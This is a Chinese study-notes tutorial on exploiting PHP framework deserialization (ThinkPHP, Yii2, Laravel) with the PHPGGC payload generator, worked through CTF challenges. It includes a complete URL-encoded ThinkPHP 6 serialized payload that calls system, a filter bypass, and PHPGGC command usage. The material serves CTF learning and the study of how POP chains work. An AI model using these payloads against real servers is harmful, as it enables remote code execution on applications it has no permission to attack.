文章目录
前记
- 今天是学习小迪安全的第六十二天,本节课主要内容是关于PHP框架的反序列化漏洞利用,主要是学会使用工具
- 本节课以熟悉工具使用为主,所以基本是实战,建议复现一遍
WEB攻防——第六十二天
PHP反序列化&CLI框架类&PHPGGC生成器&TP&Yii&Laravel等利用
反序列化链项目 - PHPGGC&SerializedPayloadGenerator
SerializedPayloadGenerator
- 下载地址: https://github.com/NotSoSecure/SerializedPayloadGenerator
- 介绍:一个国外的项目,集成了不同编程语言的反序列化利用工具,就不用一个个下了,并且是Web端的网页,直接使用即可;但仅支持将其部署到Windows服务器(IIS)上使用
- Java – YSoSerial
- NET – YSoSerial.NET
- PHP – PHPGGC
- Python - 原生
- 但是搭建比较麻烦,这里我还是选择直接使用不同的工具,就没自己搭
- 搭建教程的话官网也是有的,自己跟着搭应该是没问题的
PHPGGC
-
下载地址: https://github.com/ambionics/phpggc
-
介绍:PHPGGC 是一个包含 unserialize()有效载荷的库以及一个从命令行或以编程方式生成它们的工具。当在您没有代码的网站上遇到反序列化时,或者只是在尝试构建漏洞时,此工具允许您生成有效负载,而无需执行查找小工具并将它们组合的繁琐步骤。 它可以看作是 frohoff 的 ysoserial 的等价物,但是对于 PHP。 目前该工具支持的小工具链包括:CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、ThinkPHP、Slim、SwiftMailer、Symfony、Wordpress、Yii 和 ZendFramework 等。
-
就是一个针对PHP各种框架的反序列化
payload
生成工具,经常在PHP中配合unserialize()
使用 -
系统限制:小迪说只能在Linux上使用,实测可以在Windows下正常运行,AI说需要满足两点:
- PHP CLI ≥ 5.6(Windows/Mac 下装个 XAMPP/WAMP/PHPStudy 都可以)。
- 手动克隆源码(
git clone https://github.com/ambionics/phpggc.git
),然后在命令行里用
-
常用命令:
> php phpggc -l Laravel : 按照框架筛选利用链
> php phpggc -i Laravel/RCE16 : 查看链详细内容
> php phpggc Laravel/RCE4 <function> <parameter>
> php phpggc ... --url : url编码(可叠加)
> php phpggc ... --soft-url : “软” URL 编码(只编码必要字符)
> php phpggc ... --base64 : base64编码
> php phpggc ... --plus-numbers : 加号绕过
> php phpggc ... --fast-destruct : unserialize() 后立即触发 __destruct,提高稳定性
反序列化框架利用 - ThinkPHP&Yii&Laravel
说明
- 这里我们主要探究的是PHP框架的反序列化漏洞,然后我们会以三个CTF的例子来进行演示
- 对于反序列化这个漏洞比较特殊,它基本上是只能通过白盒审计出来,因为你没有源码根本不知道怎么调用POP链,所以选择的案例为CTF的题目
- 如果是在实战中黑盒测试的话,就当个脚本小子,用漏扫工具扫扫就可以了
[安洵杯 2019]iamthinking-Thinkphp V6.0.X 反序列化
-
这个题来自BUUCTF的安洵杯2019iiamthinking,然后它提示我们访问
/public
目录:
-
注意一定要限制为http,不要用https协议访问
-
这里只有一张图片,做Web题找提示就几种思路,
F12
看源码、工具扫目录/扫文件、抓包,基本都有收获 -
这里可以用
7kbscan
扫一扫,指定字典,比如源码泄露、备份文件泄露、敏感目录泄露等 -
这里就是一个一个慢慢试了,
url
最好是从根目录开始扫,我们就扫到了备份文件:
-
然后下载下来用IDE打开:
-
源码是这个样子,一看就是TP框架,然后可以审计一下,怎么看呢?之前的安全开发可讲过,这几个文件夹,核心代码在app文件夹内:
-
找到这个
Index.php
,然后看到源码是这样:
class Index extends BaseController
{
public function index()
{
echo "<img src='../test.jpg'"."/>";
$paylaod = @$_GET['payload'];
if(isset($paylaod))
{
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value)
{
if(preg_match("/^O/i",$value))
{
die('STOP HACKING');
exit();
}
}
unserialize($paylaod);
}
}
}
-
一眼就看到了
unserizlize()
函数,需要我们传入参数payload
,然后这里有个过滤,但它过滤的是url
跟我们的payload
没关系 -
然后的话我们可以看看这个
unserialize()
怎么利用,跟他想过的魔术方法有哪些呢?__destruct()
和__wakeup()
,但是太多了 -
要一个个分析的话,不知道要分析多久,所以我们首先应该想到的是:既然它是TP框架,那我们如果能知道它的版本以及使用的PHP版本,是不是可以尝试找Nday呢
-
它的配置为
php 7.2.25
、ThinkPHP 6.0
-
那我们就找一下有没有爆过
ThinkPHP6.0
,php
版本为7.2.25
的反序列化漏洞 -
问AI也可以,直接搜也可以,这里就找到一个:
-
然后我们直接尝试利用公开的POC能不能用就完了,文章位置:ThinkPHP v6.0.x反序列化漏洞复现与分析_thinkphp v6.0.9漏洞-CSDN博客
-
POC在它的文章后半段,然后我们这里直接在当前文件夹中创建php文件,直接生成得到pop链:
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A7%3A%22%00%2A%00name%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A6%3A%22system%22%3B%7D%7D
-
现在就尝试能不能用嘛,我们找到传入参数的地方,这里其实就是这个
/public
目录下进行传参 -
那我们尝试一下上面的
payload
:
-
显示
STOP HACKING
,这里就是刚刚过滤url
的地方,这里绕过方式就是在前面加两个斜杠:
-
成功执行!说明这个POC就是有效的
-
当然这里也可以用刚才说的
phpgcc
来直接搜索:
-
这里的
FW
表示文件写入的意思,然后我们根据其版本使用RCE3或者RCE4:
-
使用方法就是传入调用的方法,以及传入的参数,比如我们使用
system
方法执行ls
命令,并进行url
编码:
-
然后使用这个
payload
看看能不能正常执行:
-
可以看到也能完美执行,所以这就是这个工具的用处,能够直接生成已知的框架
payload
,不用你自己去找了
CTFSHOW Web267-Yii2反序列化
-
然后这个题是对Yii框架的反序列化利用,演示的案例就是
ctfshow Web267
这个题目:
-
可以通过插件看到是
Yii2
的框架,并且PHP版本为7.3.11
:
-
这里的话,前面的步骤我们就不管了(这里主要是感受工具的使用),我们需要先登录,然后账号密码是
admin/admin
-
之后这个
About
页面会变,然后f12
源代码查看源代码有提示:
-
按照这个参数访问一下:
-
就会发现这里多出了两行代码,提示
///backdoor/shell
目录里存在反序列化代码unserialize(base64_decode($_GET['code']))
-
那这就直接到这个页面去看一看呗,注意它这里访问页面的方式是通过传入参数
?r=xxx
访问的:
-
显示空白,说明页面存在,然后我们直接网上搜一下有没有相关的框架漏洞,这里就不搜了
-
直接
phpggc
搜吧:
-
存在
Yii2
的一个框架漏洞,那这里直接试试呗,注意需要base64编码:
-
空白页,说明参数传入成功,但是没有回显,那我们也不清楚究竟有没有执行我们的代码,这里就dnslog看一看
-
这里搞不清楚啊,它也没有带外的信息,呵,那我们就尝试将flag文件复制出来访问吧:
-
这里出现错误了,不用管他,直接访问一下
tt.txt
看看:
-
成功得到
flag
,由于我们只是探讨phpggc
的利用手法,所以很多细枝末节的东西就忽略掉它吧
CTFSHOW Web271-Laravel反序列化
- 这个题目的源码如下:
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
-
已经提示了使用的是
Laravel
框架,然后PHP版本为7.1.26
-
看一看源码吧,接受
data
参数,并且进行反序列化,很明显了,我们就直接尝试phpggc
找一找POC然后利用试试看:
-
有这么多,由于我们没有找到具体的版本,所以…一个一个试呗,或者我们利用刚刚的php版本来做文章,问一下AI上面哪些
Laravel
版本适用于php 7.1.26
:
-
瞬间减少了尝试的次数吧,那我们就优先尝试这几个:
-
通过POST传入参数
data
:
-
利用成功!所以这个知道了有这个框架漏洞就可以一个个尝试,万一有成功的呢?
ThinkPHP 反序列化链分析
- 在最后这里,我们就来拿一个真实的例子来看看,别人是怎么分析反序列化漏洞的
- 注意,我们是跟着别人的思路来的,所以很多步骤别人都是帮我们做好了,我们只是学习这个分析思路而已
- 这里审计的是
ThinkPHP 5.0.24
版本的反序列化RCE漏洞,首先找反序列化漏洞,第一个找的是有没有unserialize()
函数 - 都不用搜,在
Index.php
里面就有:
class Index
{
public function index()
{
echo "Welcome thinkphp 5.0.24";
unserialize(base64_decode($_GET['a']));
}
}
-
找到了这个函数,说明是可能存在反序列化漏洞的,于是我们就要找它一定会调用的魔术方法
__wakeup()
或者__destruct()
:
-
很多,自己审计的时候肯定就一个个慢慢看了,这里他已经告诉我们了POP链入口是
think\process\pipes:__destruct
(位置在\thinkphp\think\process\pipes\Windows.php
)方法:
-
这里有个
removeFiles()
函数,追踪看一下:
-
该函数中调用了
file_exists()
函数,这个函数他是会默认调用__toString()
魔术方法的 -
那应该触发哪个
__toString()
好呢?这里选择的是think\Model
类里的:
-
由于该类为抽象类,所以我们后续在构造 EXP 的时候得使用其子类,例如:
think\Model\Pivot
类。 -
这里他又在
think\console\Output
类中找到了__call()
魔术方法,这个方法是怎么触发的呢?通过调用一个不存在的方法 -
如果触发之后,这里面是有个
call_user_func_array()
函数的,这个函数是不是有点眼熟?没错,在命令执行的时候,我们提到过 -
所以他的大致思路就出来了,就是去想办法看哪个地方调用这个,然后这里面是需要传入
$this->handle
,这个是可控的,那之后思路就是找一个类的 write 方法可以实现写文件。 -
下面其实还有一些,但是我们这里就到这里差不多了,因为我们主要就是去看如何从
unserialize()
找到命令执行的函数 -
那么通过这个例子,我相信你也会对代码审计有一点自己的感悟